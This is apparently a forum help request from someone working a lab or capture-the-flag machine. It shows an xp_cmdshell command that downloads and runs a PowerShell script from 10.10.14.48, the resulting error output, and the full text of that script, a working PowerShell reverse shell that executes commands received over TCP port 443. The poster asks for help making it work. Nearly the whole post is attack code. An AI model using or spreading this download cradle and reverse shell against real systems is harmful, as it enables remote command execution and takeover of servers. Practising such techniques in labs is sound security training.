SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.48/shell.ps1\“);”
output
New-Object : Exception calling “.ctor” with “2” argument(s): "No connection could be made because the target machine
actively refused it 10.10.14.48:443"
At line:2 char:11
-
$client = New-Object System.Net.Sockets.TCPClient(“10.10.14.48”,443); …
-
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
CategoryInfo : InvalidOperation: ( [New-Object], MethodInvocationException
-
FullyQualifiedErrorId : ConstructorInvokedThrowException,Microsoft.PowerShell.Commands.NewObjectCommand
You cannot call a method on a null-valued expression.
At line:2 char:70
-
-
… ts.TCPClient(“10.10.14.48”,443);$stream = $client.GetStream();[byte …
-
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- CategoryInfo : InvalidOperation: ( , RuntimeException
- FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At line:2 char:138
-
… 65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) …
-
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- CategoryInfo : InvalidOperation: ( , RuntimeException
- FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At line:2 char:464
- … .Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
-
~~~~~~~~~~~~~~~
- CategoryInfo : InvalidOperation: ( , RuntimeException
- FullyQualifiedErrorId : InvokeMethodOnNull
NULL
The shell.ps1 that i used== $client = New-Object System.Net.Sockets.TCPClient(“10.10.14.48”,443);$stream = $client.GetStream();[byte]$bytes = 0…65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Tried rectifying the issue but cant. Any help would be appreciated. Thanks